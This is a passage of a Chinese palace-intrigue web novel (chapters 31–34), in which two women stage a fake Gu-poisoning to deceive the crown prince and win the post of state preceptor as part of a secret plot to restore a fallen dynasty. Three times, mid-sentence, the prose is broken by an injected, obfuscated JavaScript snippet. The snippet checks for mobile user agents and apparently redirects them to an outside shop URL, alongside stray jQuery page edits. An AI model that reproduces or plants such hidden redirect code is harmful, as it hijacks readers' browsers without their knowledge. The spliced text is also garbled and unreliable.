江连镜这才有了反应,缓缓睁开眼,仿佛用尽全力才抬起手,帮她擦去眼泪,气若游丝道:“别哭……江、御暮……你、怎么、怎么来……” 江御暮扶他起身,抽噎着问道:“这些日子,你究竟遭遇了什么?” 江连镜仿佛浑身无力,靠在她肩头答道:“我被安王的人抓走以后,在此地关了几日。前些天不知为何,安王派人将我转移到别处待了几个时辰,又原路送了回来。自那时起,我便一直被囚禁在此,偶尔有人来送一两顿残羹冷炙,苟且偷生罢了。” 听到这里,穆归衡忍不住出言安慰两句。只是受到系统限制,语气十分冷硬,态度更是高高在上。 江连镜此时才顾得上问:“这位公子是……?” 江御暮答道:“这是太子殿下,还不行礼?” “太子?”江连镜瞪大双眼,十分惊奇。 费红英只说让他来演一出戏,从没说过观众就是太子啊! 31. 太子执长剑审疑犯,道人出诳语下…… 惊诧之际,江连镜忘了行礼。其实就算没忘,他也不太乐意给穆归衡行礼。 好在穆归衡同情他所受的“苦楚”,压根就没想要受之一礼。 “此地不宜久留,咱们还是先离开吧。”他说。 江御暮点头应了声好,扶着江连镜走出屋门,尚未走出多远,就听身后传来长剑出鞘的声音。 她心道不好,回身一看,竟是穆归衡拔出佩剑,直直指向费红英心口。 江连镜大惊,险些冲出去阻拦,却被江御暮死死拖住了胳膊。 “别添乱。”她低声说,“静观其变吧。” 她知道穆归衡一直在怀疑费红英,却没料到他会这么快动手。 不过,现在若站在他的立场上想想,此时费红英根基未深,是最佳的动手时机;此地偏僻无人,也是最佳的出手地点。 幸而穆归衡没有贸然刺下长剑,有些事,他要先确认自己的猜想无误,才能心安理得地动手。 费红英还以为穆归衡又在试探自己是否真的眼盲,纵然心里紧张,也不能表现出来。 却没想到,穆归衡开口便问:“你是安王的人吧?” 夜晚昏暗无光,费红英眼前又蒙着飞绡,看不清江御暮的表情和微小的动作,无法借此获得下一步行动的提示。 无法,她只得装傻:“安王?贫道与他并无来往,太子殿下何出此问?” 穆归衡丝毫不相信这番说辞,冷冷道:“今日上午,你烧掉的那张符纸上的确写着几个字,不过只是一句律诗,并非江连镜的生辰八字。此外,江姑娘写字用的不过是鸡血,而非她的指尖血。可见,此符与废纸无异,你却用它‘算’出了江连镜的下落,难道不可疑吗?” 费红英飞速思考着——既然江御暮当时嘱咐她“别戳穿”,就说明她是故意想让穆归衡看出破绽。那么,也许所谓“飞鸿影是安王的人”的指控,也是他在她引导下做出的。 如此想来,费红英现在要做的就是露出更多“马脚”,彻底坐实这个说法。 “贫道……是因为……”她吞吞吐吐,说不出个所以然来,愈发显得可疑。 穆归衡上前半步,剑尖离她心口更近,接着说道:“还有,既然穆归礼将人质绑来囚禁在此,为何不派人看守?难道不是等着你带人来救,好为你谋一份功劳么!” 费红英闻言并未反驳,迟迟不作声。 穆归衡心中仿若巨石落地,笃定道:“连狡辩都放弃了么?看来,本宫并没有冤枉你啊。” 江御暮见缝插针,从费红英身后绕过,附和道:“事已至此,你还有什么话好说?” 行动间,她在穆归衡的视觉盲区放缓脚步,不着痕迹地在费红英腰后轻轻一按。 这是提示吗?一定是的。 费红英细细思索起来—— 江御暮按下的穴位名曰“命门”,究竟有何玄机? 她尚未想出答案,又听江御暮咬牙切齿道:“安王能把江连镜折磨成这样,想必背后也少不了你的手笔吧!” 一语惊醒梦中人。 这句话,费红英曾在什么时候听过? 大约是七八年前,她们还是孩子的时候。 是谁说的这句话? 这种略带责怪的语气,定然是长辈所说。 是了,是了! 她娘费杏林曾说过:“御暮能把江连镜吓成这样,想必背后也少不了你的手笔吧!” 那是怎么一回事来着?她们如何合谋,吓到了他? 命门穴……命门穴…… 费红英心念微动,一段令人啼笑皆非的年少往事跃入脑海。 某日,她跟娘亲一起给人看病,见那人脸上生有奇异的花纹,便十分好奇。 后来问了娘亲才知,那人是受了黥面之刑,脸上被刻了标记。 彼时费红英学医学得头疼,偶尔往偏门里钻研钻研,倒能放松不少。 黥面?有趣,想学。 说干就干,费红英毫不含糊,立刻开始研究。 起初只用猪皮试手,后来技艺渐渐娴熟,她便在自己的小臂内侧刺了一只飞鸿。 因怕母亲责骂,费红英不敢给她展示自己的新本领,只能到朋友面前炫耀。于是,江御暮就成了唯一人选。 令她喜出望外的是,江御暮不但对她自学的刺青之术作出了极高的评价,还主动提出要帮她练手。 费红英自然不会拒绝,兴冲冲地问她想刺什么图案。 江御暮几乎未加思索,便提笔写下一串古怪的图案。 befearless “这是什么花纹?”费红英问。 “不是花纹,是一种异国文字。”江御暮答,“意为——无所畏惧。” “你怎么懂得异国文字?”费红英无比好奇。 江御暮又抬出那个万能回答:“我母亲教的。” 费红英深信不疑:长公主高深莫测,懂得异国文字也合情合理。 在江御暮的要求下,费红英将这串文字刺在了她的命门穴。 “取个好兆头。”她这样解释。 不过……费红英也不太懂这兆头好在哪。也许,这是异国的某种护身符? 只可惜,这个猜测很快就被证伪了。 江御暮自小习武,受伤已是常事,刺了“护身符”也没用。同理,江连镜也是多难多伤。 费杏林未必时时都在,伤痛难忍时,他们只能喊费红英帮忙医治。 不过费红英很偏心,每次都先给江御暮上药,江连镜只能在旁边乖乖排队。 “欸,这是什么?”刚满十岁的江连镜指着姐姐身上的刺青,不解发问。 江御暮的心理年龄比他大出许多,总喜欢逗小孩,于是故意吓唬他说:“这是恶魔的烙印,中了诅咒的人,身上都会被烙下一句咒语。” 江连镜并没有完全听懂,转头向费红英求助:“中诅咒是什么意思?” 费红英自然要陪江御暮胡闹,接着吓唬他:“就是被妖人所害。” 江连镜还是没听懂。 江御暮只得说得再明白点:“就是活不长了。” 说完马上被费红英轻打几下嘴,连忙补上一句:“呸呸呸!” 饶是如此,江连镜还是被这个漏洞百出的玩笑吓哭了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254135|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费杏林后来得知此事,将费红英好一通数落,其中就有那句话。 此刻江御暮重提此事,是在提醒她什么呢? 命门……刺青……诅咒…… 费红英灵光一闪,忽而哈哈大笑起来。 这笑声落入穆归衡耳中,便是一种极为嚣张的挑衅。 不待他作出反应,费红英已然换上一副恶毒嘴脸。 她不再辩驳,坦然拊掌道:“果然还是瞒不过太子殿下啊!您若想除掉贫道,顺便斩断安王殿下的羽翼,那便动手吧。不过,贫道只怕您承受不起杀我的后果。” 穆归衡双眉一蹙,冷静道:“花言巧语,垂死挣扎。” 眼下费红英尚未坐上国师之位,骤然殒命还不会激起太大的风浪。 就算因此与穆归礼撕破脸,他也没什么好怕的。 费红英却得意洋洋,笑道:“贫道的确不擅长卜卦算命,人生匆匆二十载,只学了一样本领。” 江御暮配合发问:“哦?什么本领?” 费红英一字一顿:“巫蛊之术。” 穆归衡心头顿时升起一种不好的预感:“你给谁施了此等邪术?” 费红英向前半步,用身体抵住穆归衡的剑尖,微笑道:“杀了我,殿下便能得到答案。” 穆归衡已然十足愤怒,犹豫再三,还是放下了剑。 他并未完全接受她的说辞,只因投鼠忌器,才愿暂且放她一条生路。 “本宫凭什么相信你?”穆归衡问。 费红英正期待着这个问题,欣然回答道:“被贫道施了蛊术之人,命门穴都会出现一片花纹。” 说着,她微微偏转身体,面向江御暮道:“江小姐可还记得,贫道今日于两次测字之间,曾在您手心画下一个符咒?” 江御暮闻言惊道:“你、你对我施了蛊术?!” 穆归衡也变了脸色,直骂此贼人面兽心,丧尽天良。 江连镜看不明白眼前这出大戏,但他相信红英姐不会伤害江御暮。她们……应该只是在蒙骗太子吧? 那么,作为江御暮的弟弟,他是不是也应该上场搭一段戏呢?总不能就这样傻站着,明知自己的姐姐“为人所害”,还毫无反应吧? “你这狗贼!”他牢记自己现在应该尽量表现出虚弱的样子,踉跄着上前骂道,“你对她做了什么!?” 虽然事出有因,但是这样咒骂费红英,他还是怪过意不去的。 好在费红英毫不介意,甚至有点享受这种扮演恶人的感觉,狞笑道:“三位大可放心,贫道对江小姐已然手下留情了。只要你们不伤贫道性命,江小姐就能平安无事。换言之,一旦你们杀死贫道,母蛊随之而亡,江小姐体内的子蛊便会发作,霎时取她性命!” 江御暮双腿一软,向后倒去,被穆归衡和江连镜一左一右给扶住了。 她喃喃道:“不……不可能,我身体并无任何不适!一定……一定是你为了保住性命,才诳语唬人!” 费红英大摇大摆地走到三人近前,张狂道:“江小姐若不信,现在就可以进屋检查检查,你的命门穴上,是否多出了一片诡异的花纹?” 32. 江御暮答疑送线索,江连镜求解唤…… 江御暮独自走进屋内,很快,里头就传来铜镜砸向地面的声音。 无需多问,这道声响已经证实了费红英方才所言是真。 穆归衡一方面要防止费红英逃跑,不能进屋查看情况;另一方面也怕江御暮解衣看到花纹后,因恐惧不安,顾不上穿戴整齐,他若贸然进屋,实在有违君子之道。 幸而这里还有江连镜,她的至亲。此时由他去照顾江御暮,应当再合适不过了。 “你,进去看看你姐。”穆归衡对他冷声吩咐道。 江连镜应了声是,小跑着回到屋内,一进门就看到江御暮失魂落魄地坐在床边。 他关上门,凑到她身旁关切问道:“怎么了?没事吧,怎么这个表情?” 江御暮轻轻推开他的脸:“刚入戏,酝酿情绪呢。” 江连镜蹲在她身前,抬头直视着她,无奈轻叹道:“江御暮,我叫您一声祖宗,您能给我交个实底吗?” 她曾被安王要求给太子下毒,究竟有没有行动? 太子病重多日之事人人皆知,连皇帝都悬心已久,甚至张榜广觅高人。如今看来,太子却安然无恙,难道病情有假? 费红英为什么要女扮男装,搅合进来?她打扮成盲眼道人模样,是为了假扮所谓“高人”,揭皇榜给太子“治病”吗? 若真如此,她为何要自言与安王狼狈为奸,还假称给江御暮施了蛊术? 江连镜百思不得其解。 不,其实这么说也不太准确。 江连镜心中已有一“解”,只是解法刁钻古怪,答案也是他最不能接受的一种。所以,他宁可此题无解。 江御暮仍是一脸哀色,声音却很平静:“你想问什么?” “什么都想问。”江连镜一手托腮,闷闷不乐道,“你就拣你愿意回答的答吧。” 江御暮像安抚旺财那样拍了拍他的发顶,轻声道:“放心吧,我和红英没有反目成仇。” “谁问你这个了!”江连镜挡开她的手。 真不明白,她怎么能在他迫切想问的一万个问题范围之外,精准地挑出一个他绝对不会生疑的废题回答。 除了故意装傻岔开话题,还有别的解释吗? 江连镜现在越想越觉得,自己潜意识里不愿接受的那个猜测可能有点靠谱了。 “江御暮,你跟我说句实话,你假装中了蛊毒,是不是为了——” 说到这里,他似乎觉得后面的话有些难以启齿。说吧,不好意思。不说吧,又憋得难受。 江御暮看他都快把脸涨红了,不由好奇:“为了什么?” 江连镜深呼吸两次,低头避开她的眼神问道:“是不是,像三流话本里写的那样……假称破蛊之法唯有阴阳调和,求太子相助,继而顺理成章地入府为妃?” 沉默,沉默。 江御暮半晌没有回答。 这可不是一个好兆头,在江连镜看来,就等同于默认。 “你——”他急切抬头,想搬出爹娘来压住她的这种想法,哪知刚说出一个字就被江御暮捏住了两颊。 “江连镜,你平时都看些什么书啊?是不是在外头交了不三不四的朋友?”说着,她还左右看看,“也就是这没有鸡毛掸子,不然我非得替爹娘教训你一通!” 江连镜大呼冤枉,辩白到一半,忽然反应过来:“不对啊,咱们现在聊的是你假称中蛊的目的啊。江御暮,你不要转移话题!” 江御暮白他一眼,抱臂道:“什么自作聪明的想法,也好意思拿来问我?” 这下江连镜不服气了:“怎么就自作聪明了?你不是想做太子妃么?这个法子难道不能助你达成目的?” “能,怎么不能?”江御暮懒得反驳,“但是,达成目的之后呢?” “之……后?”江连镜不明白她的意思。 江御暮耐心解释:“你知道的,我腰后那片花纹是刺青,洗不掉。婚后太子若发现我的‘蛊’并未解除,难道不会生疑么?就算不对我生疑,红英也难逃一劫。” 江连镜想想觉得有道理,愈发困惑起来:“二位祖宗,你们到底在唱哪出戏啊?” 江御暮垂眸看着他苦恼的样子,将一根手指按在他紧蹙的眉间。 “我要推红英坐上国师之位。” 声音不大,却很坚定。 起初,江连镜还以为她在开玩笑,于是打趣道:“国狮?还国象呢!” 说罢自己还觉得这个双关用得精妙,不由傻乐片刻,可是江御暮并没有被逗笑,反而一脸认真。 此时此刻,江连镜终于意识到了,她方才并不是在逗他取乐。 国师……是了,皇榜里写着,能治好太子之病的高人,会被皇帝封为国师。 可是无人知晓,所谓“国师”究竟是个什么官职。 但江连镜明白,江御暮此举已经表明她不会满足于区区太子妃之位。 她还要把自己的手,伸向朝堂中心。 甚至,伸向皇帝身边。 “为什么?” 江连镜不明白,为什么。 在他看来,江御暮自小锦衣玉食,母亲虽不是她的亲娘,却也对她视如己出,万般宠爱。父亲更不用提,对她堪称千依百顺,从未委屈过一丝一毫。 这样无忧无虑的日子,难道还不能满足她么? 为什么要搅入朝堂这片浑水呢? 为什么要打破从前风平浪静的生活呢? 退一万步讲,即便她对皇权有所图谋,也大可先稳住太子,等他继位之后再做打算,历朝历代也不是没有皇后垂帘的先例。 却为什么,要冒着不可言说的风险,提前赌上自己的性命呢? 他当然不懂。 江淮照为了保护一双儿女,从未对他们言明江御暮的真实身份, 在他们看来,江御暮的亲生母亲只是府里的姨娘。朝代更迭,动乱之际,姨娘难产而亡,小辈们自然没有机会见到她。 待他们出生之时,江淮照已经是新朝的户部尚书了。孩子们偶尔好奇,向他问起前朝之事,江淮照也不会多谈,俨然一副决意效忠新君的样子。 可是孩子们总会长大,总会产生自己的思想。 妹妹江唤玥——不,依爹娘的要求,在外人面前,她只能称自己为“江唤乐”。 音同字不同,背后的意义当然也截然不同。 唤玥,唤玥。 她知道,前朝的国号便是“得月”。 爹娘心中苦苦呼唤的,是那个覆灭之国的旧王吗? 江唤玥不敢多问。她知道,这是爹娘最不愿她提起的问题。 至于江连镜,他少时曾被父亲带去刑场,围观刽子手处决“前朝余孽”。 那人死前曾痛斥江淮照与窃国之贼同流合污。 其中让江连镜印象最深的一句,并非不堪入耳的恶言。 而是一句带着不甘和愤怒的—— “江淮照,你有负于先太后的血脉!有负于她的遗命!” 先太后?得月国已故小皇帝的母亲么? 江连镜从父亲口中问不出答案,便趁夜潜入他的书房,从书架后的暗格里翻出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268427|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几卷家谱。 彼时他才知道,那位亡了国的小皇帝并非先太后的亲生儿子,她只有一个女儿,曾被封为镇国长公主,后来战死沙场。 至于他的父亲,江淮照,则是得月国先太后的孤侄。 “江淮照,你有负于先太后的血脉!有负于她的遗命!” 那死刑犯的声音再度在他脑中响起,江连镜不得不接受一个事实—— 他的父亲是人人鄙夷的窃国贼。 江府的富贵荣华,都是用前朝遗民的血泪换来的。 那年他几岁?十四、十五? 记不清了,只记得那是他第一次碰酒。 不是什么光彩事,大晚上的,悄悄从厨房偷了两坛陈酿,才喝下半坛子就醉得不省人事了。 下人们拿他没办法,只能请来江御暮这个救兵,把江连镜扛回了卧房。 撒完一夜酒疯,次日中午醒来,她还守在他身边。 江连镜希望她能问一问,他为什么要喝酒。 但她没有问,只说:“你酒量真差。”说完便要转身离去。 他只能抓住她的衣袖,主动提起那两卷家谱,把江府最深最肮脏的秘密挖出来,讲给她听。 可她的反应大大超乎他的意料。 因为她几乎毫无反应。 “你早就知道这些么?”江连镜只能如此推测。 江御暮没有正面回答他的问题,只给他讲了一个奇怪的故事。 她说那是个历史故事,但里头的历史人物,他一个也没听说过,只觉得名字怪里怪气——勾践?夫差?卧薪尝胆? 江连镜听得一知半解,隐隐觉得她是在为父亲辩白。 而他,总是愿意相信她的话。 自那时起,江连镜便知道,与前朝有关的许多事,父亲虽不会告诉他,却会与江御暮商议。 而此时此刻,他终于将十余年来的一切线索串联起来,问道: “江御暮,你的这些筹谋——太子妃也好,国师也罢,都与我初次醉酒那日,你曾讲过的那个故事有关,对吗?” 换言之,他们都是在卧薪尝胆,以求光复故国? 江御暮仍然没有正面回答,只竖起一根手指,抵在他的唇上。 “嘘——” 一切不言自明。 江连镜难掩心中惊诧,尽力压低声音问道:“可是,得月国的皇室早已绝嗣,就算复国,又能拥立谁做皇帝呢?” 江御暮不欲过早暴露身份,只道:“其实,镇国长公主当初并未战死,只是改名换姓,易地而居,养精蓄锐。” 江连镜愈发震惊,几乎无力讲话,只用气声问道:“你可知,她在哪?” 江御暮微微一笑,用手指在他掌心写下两个字。 涵州。 …… 穆归衡等了许久,才等到江家姐弟走出屋门。 江御暮看着还算镇定,江连镜却像三魂丢了七魄,演都演不出来的那种。 也是,亲姐姐被奸人所害,随时有性命之忧,可不是得担心成这样么? 江御暮见此刻院中只剩穆归衡一个人,便问:“飞鸿影呢?” 穆归衡也向她走来,答道:“抱歉,我自作主张,放他走了。” “你们谈过了?”江御暮稍稍放心,情绪沉沉道,“你放她走,是为了保住我的性命?” 穆归衡安慰她道:“我会助他成为国师。作为交换,他会解除你体内的子蛊。” 他已然下定决心。 待此事了结,飞鸿影其人,他定杀之而后快。 33. 真公主死遁谋大业,假道人面圣求…… 费红英顺利脱身后,去客栈换上自己的衣服,将道袍装入包裹里,在镜子前仔细确认了没有破绽,才赶往江府。 今日一早给时异喂了解药,此刻也差不多该检查效果了。 门轴新上了油,推开时无声无息。但费红英不曾学过轻功,脚步声还是被时异察觉了。 时异见她进屋,只问候一声“神医姑娘”,声音仍然没什么力气,精神却比前两日好了许多。身体仍被绑着,活动范围不大。 费红英搭腕号脉,便知他已经有所好转。只要定期服下足量的解药,身体迟早能恢复正常。 但她要不要让他恢复正常,终究还是取决于江御暮的态度。 虽然她们平日里一直以朋友相称,但费红英从小就知道,她们终有一日要做君臣——如果足够幸运的话。 如果……得月国能起死回生的话。 故国尚在时,她娘费杏林曾是镇国长公主身边最受倚重的军医,随军东征西战,安定边疆。 谁知先太后骤然崩逝,小皇帝不遵遗诏,趁长公主回京奔丧,卸甲入宫时,竟设伏兵百人于殿内,下旨诛杀。 幸而长公主早有预料,未雨绸缪,提前让费杏林制出了一味假死药,才得以保住性命,金蝉脱壳。 她当然不甘心就此远遁江湖。效忠于她的部将们,也无人咽得下这口气。 然而彼时她手中仅余一支残部,若贸然起兵,纵然他们再如何忠心耿耿,再如何骁勇善战,也难以逃过朝中武将的联合镇压。 更何况,皇权传承的“正统”二字便如一座大山,死死压在所有人的头上。 若无合适的契机,纵然她能攻入京城,朝中百官与天下万民也只会将她视为逆臣,而非新主。 所以,长公主只能遁名匿迹,带着旧部隐入山林,养精蓄锐,以待来日。 她需要一个契机。 可她不想被动等待一个契机。 于是,她决定自己创造一个契机。 如果天下臣民都极其看重所谓皇权正统,那么,她就要让自己成为仅存的,唯一的正统。 在此期间,先太后的亲侄,也就是她的表兄江淮照,一直在秘密与她传递消息。 先太后虽已崩逝,余威却尚未消散,江家在朝中仍然颇有地位,纵然小皇帝已经亲政,也不敢轻易打破平衡。 江淮照不动声色,默默调查,很快就确认了挑唆小皇帝诛杀长公主的罪魁祸首——宰相穆明。 小皇帝愚顽心盲,他却将穆明的狼子野心看得清楚。 在长公主的授意下,江淮照不仅不阻止穆明一步步蚕食皇权,甚至还给他提供了明里暗里的各种帮助。 面对穆明的怀疑和试探,江淮照佯装不知他也参与谋划了长公主之死,只将一切矛头指向小皇帝。 “此子年少不成器,已显昏庸误国之兆,若有君等贤臣取而代之,如何不可为?下官实不相瞒,先太后走得蹊跷,长公主也被皇帝诛杀,若再不有所行动,只怕下一个归西的,就轮到我了。” 穆明对他的自白深信不疑。 当然,另一部分原因也在于,他当时迫切地需要一个盟友。 一个位高权重,在朝中颇有威望的盟友。 所以,他更愿意相信江淮照没有撒谎。 而江淮照,果然没有让他失望。 穆明顺利从小皇帝手中夺来皇位,论功行赏,把油水最大的户部交到了江淮照手中。 原本打的算盘是——江淮照若敢居功自傲,贪得太过分,他就下令杀之。 没想到,江淮照竟无比安分守己,从不以功臣自居。 当然,他也是会贪的,只是贪得不多而已。 毕竟全然不贪之官,在朝中反而没有立足的余地,古来如此,代代皆然。 皇帝哪晓得,江淮照贪来的银钱,一部分用于杏林医馆,一部分用于枕闲书铺,至于大头,都在妻子“回乡探亲”之时送入了涵州。 江御暮出生不久,就被费杏林送来京城,一直以庶女身份养在江淮照身边,不过每年过冬时,都会被送回涵州,与生母长公主相聚。 如今正是春夏之交,离立冬还有很长一段时间。 也许今年回涵州时,江御暮能给母亲带去一个好消息。 …… 次日一早,江御暮就翻墙入院,悄无声息地潜入了安王穆归礼的卧房。 “醒醒,别睡了!”她用力拍打几下他的脸颊。 穆归礼顿时惊醒,下意识抽出床边短刀往外劈,待看清来者是她,已经来不及收刀了。 不过他并不紧张,反正以她的身手,肯定不会被自己劈中。 果不其然,江御暮迅速闪身躲开,斜靠在床架上,揶揄道:“你床边怎么放着刀啊?防谁呢这是?” 穆归礼醒了醒神,答道:“还不是跟你学的?” 江御暮不置可否。 穆归礼这时才顾得上问:“你怎么突然冒出来?有事吗?” 江御暮还击道:“突然冒出来,还不是跟你学的?” 顿了顿,又说:“当然有事。难道你没听说,有个名唤飞鸿影的盲眼道人揭了皇榜,去给太子治病了么?” 穆归礼不屑地发出一记嘁声:“听说了,是个算命的,估计就为了骗几个赏钱吧。这种人,能有什么真才实学?” 江御暮不满道:“安王殿下,轻敌是大忌,难道这还要我来提醒你吗?” 穆归礼这才认真了几分:“你知晓那道人的事?” 江御暮点头道:“昨日她去给太子治病时,我也在场,碰巧遇上了。” 穆归礼霎时不困了,睁大双眼道:“你去做什么?” 江御暮耸耸肩:“猫哭耗子,假意看望病人咯。” 穆归礼松一口气,又问:“那你瞧着他靠谱吗?” 江御暮沉默片刻,似乎久久想不好该如何作答。 穆归礼等得心急,催问起来,她这才迟疑着开口。 “你若问他医术如何,其实我并未打探出来。但若论及算命卜卦之术,她的本事委实不小。” “怎么说?” 穆归礼被勾起了好奇心——能得她如此夸赞,此人一定不可小视。 江御暮满面严肃道:“她与太子交谈时,我被要求回避,并不清楚经过。但她告退离开以后,与我擦肩而过时曾驻足片刻,留下了几句话。” “什么话?”穆归礼这急性子,好奇得眼珠子都快瞪出来了。 江御暮刻意拉长了停顿的间隙,微微俯下身,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13276387|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎与他平视:“她说,她算出了太子之病是毒物所致,还算出了你我二人就是幕后黑手。” 穆归礼听罢,背后霎时冒出一层冷汗,双腿抑不住地发软。幸好他现在坐在床上,纵然腿软,外人也看不出来,否则肯定要丢个大脸! “他……他……” “慌什么?”江御暮站直身子,居高临下地俯视着他,“飞鸿影若有心告密,咱们现在还能平安无事么?” “也对,也对!”穆归礼拉她坐到自己身边,“他既然算出了真相,为何不向我父皇告发,反而要告诉你呢?” 江御暮贺了声恭喜:“飞鸿影托我转告你,她有心投诚,不知你愿不愿意接纳?” 穆归礼闻言先是一喜,紧接着又怀疑起来——世间真有这样天上掉馅饼的好事吗? 江御暮看出了他的怀疑,没有多言,只说:“话我带到了,至于怎么选择,你自己决定吧。” 穆归礼见她作势要走,连忙发问:“飞鸿影可曾交代,让我如何与他联络?” 江御暮摇摇头,自嘲一笑道:“没有,她似乎不是很信任我,不希望我掺和在你们俩之间。所以,不愿将联络方式告诉我。” 穆归礼更觉奇怪,自顾自思索一阵,再抬头,江御暮已经消失不见了。 要想办法见一见那道人吗? 穆归礼暂时做不出决定。 他不明白,飞鸿影既然放心让江御暮传话,为什么还会表现出不信任她的样子? 穆归礼隐隐有一种预感,也许,江御暮和飞鸿影,他只能选一个。 …… 三日后,道人飞鸿影入宫面圣,献上一颗墨色丹丸。 “回禀陛下,此丹已凝聚江小姐三载血气,太子殿下服用后,便可延长三载寿命。” 此语使皇帝大为失望。 “才三年?这怎么够!?” 三年之后,穆归衡也不过才二十出头。 依皇帝看来,就是再延十三年,甚至三十年的寿命,那也是远远不够的。 他要他的儿子长命百岁! “一个江御暮不够,那就再找其他合适的药引来!” 费红英闻言扑通下跪:“陛下,万万不可!若用杂了药引,太子殿下便会气血紊乱,非但不能延寿,反而还会折寿啊!陛下三思!” 皇帝重重一拍桌子:“难道就没有其他良方了吗!?” 费红英俯身下拜:“回禀陛下,其实江小姐的生辰八字与太子殿下极为相合,将气血炼入药中反而是一种限制,无法发挥其最大的功效。” 听这话音,似乎还有转机。 皇帝连忙追问:“如何才能打破这种限制?” 费红英抬起头,透过墨蓝色的飞绡看向皇帝,一本正经道:“以人为炉,以身为药。” 皇帝不解:“什么意思?” “若要太子殿下长命百岁,还请陛下下旨赐婚,令太子与江小姐结为夫妻。” 费红英终于图穷匕见,还不忘补上一段说明。 “但请陛下切记,万勿把‘以江小姐为药炉’之事告知太子,否则一旦他动了怜悯之心,便会遭到延寿之术的反噬。切记,切记!” 说着,她唇角闪过一丝怪谲的微笑,很快就消逝不见了。 34. 新国师设宴贺乔迁,老皇帝爱子计…… 皇帝派人将药丸送入太子府中,穆归衡出于谨慎,并没有服下。 但他依然按照约定,渐渐“病愈”。仅三日后,就出现在了早朝上,且容光焕发,全无病态。 皇帝大喜过望,当即下旨将费红英封为国师,还赐了她一座大宅子,连同数十名仆役一并安排妥当。 国师乔迁之日,皇帝下旨在她府上大摆宴席,受邀的宾客不多,穆归衡是第一个到场的。 费红英热情相邀,脸上永远挂着温和的微笑,仿佛两人从来没有针锋相对过。 她将穆归衡迎入宴堂。 房间很大,主位居中向门,自然是给皇帝预备的。 左右两侧共设六席,想是除了太子以外,还邀请了四位客人。 宾客名单是皇帝亲自定下的,依穆归衡对他的了解,其中三席一定会留给三位皇兄—— 二皇子,怀王,穆归正。 三皇子,定王,穆归仪。 四皇子,安王,穆归礼。 至于多出来的最后一个席位,穆归衡便有些猜不准了。 总不会请了六皇子吧? 不,不会的。 六皇子龆年稚齿,极爱哭闹,此类筵宴,皇帝一向不会带他出席。 穆归衡一时没有头绪,想想也罢,左右再等等就知道了。 在费红英的指引下,他于右侧上首入座。环顾四周,见屋内没有旁人,便直入主题。 “如今本宫已然履约,国师大人,也该为江姑娘解蛊了吧?” 穆归衡刻意将重音放在了“国师”二字上。 虽然这要求提得合情合理,但其实,他对费红英的人品没抱太大希望——此等手段阴毒之人,怎么会干脆利索地信守诺言呢? 为了保命,她肯定会找出各种借口,百般拖延此事。说不定,还会以此为筹码,向他讨要更多利益。 费红英闻言轻笑一声,只觉穆归衡眼神带刺,都快扎透她眼前飞绡了。 “殿下不必心急,只要您今日别在陛下面前拆贫道的台,那么贫道……啊,不,微臣——自会在宴后给江小姐解蛊。” 穆归衡冷笑一声,自知所料无误,她果然在找借口拖延。 “拆台?”他面露讥讽,“如今阁下已然平步青云,如愿做了国师,深受陛下爱重,本宫为何要拆你的台?” 费红英笑而不答,只道:“微臣嘴笨,说不清来龙去脉,殿下且等等吧。待陛下圣谕一出,您就什么都明白了。” 圣谕? 穆归衡不知她又在打什么算盘,忽而不安起来,唯恐夜长梦多,心中唯有一个念头—— 他不能再拖累江御暮了。 自从她认识了他,原本平静无波的日子就再难安生。 先是被安王穆归礼盯上。他夜半入府,暗器偷袭,险些要了她的性命。 后来,连带着她弟弟江连镜也遭牵累,被绑去囚禁于破败小院,整日担惊受怕,锐挫望绝。 眼下,江御暮更是身中蛊毒,生死由人,不知何时才能解脱。 桩桩件件盘算下来,穆归衡岂能安心? 他知道,现在若想救江御暮,就务必稳住费红英。 既然她给江御暮下蛊是为了谋一条保命的后路,那么,他就拱手给她送上一条更好走的路。 “你若担心本宫拆台,就不该对江姑娘下手,而应将那邪蛊下在本宫身上,这样才更为稳妥,不是么?” 说话时,穆归衡牢牢盯住费红英双眼的位置,虽然隔着一层飞绡,但他总觉得她能感受到自己的目光。 费红英闻言一怔,不知他此言何意。 难道是又看出了破绽?开始怀疑她和江御暮合谋诓骗他了? 费红英尽力保持镇定,斟酌片刻才道:“殿下忘了您那日是怎么防备微臣的吗?微臣想近您的身都难,又怎么能找到机会,对您施以蛊术呢?” 如此解释,应该能糊弄过去吧? 其实穆归衡并未生疑,只是两个人各说各话,费红英心虚作祟,才越听越觉得处处是陷阱。 “当日没机会也无妨,今日,本宫就给你一个机会。”他说。 “太子殿下此言何意?”费红英心里打起鼓来。 “很简单。”穆归衡摊开手掌,伸到她面前,“你把江姑娘体内的蛊,换到本宫这里,如何?” 这是什么把戏?费红英愈发不明白了。 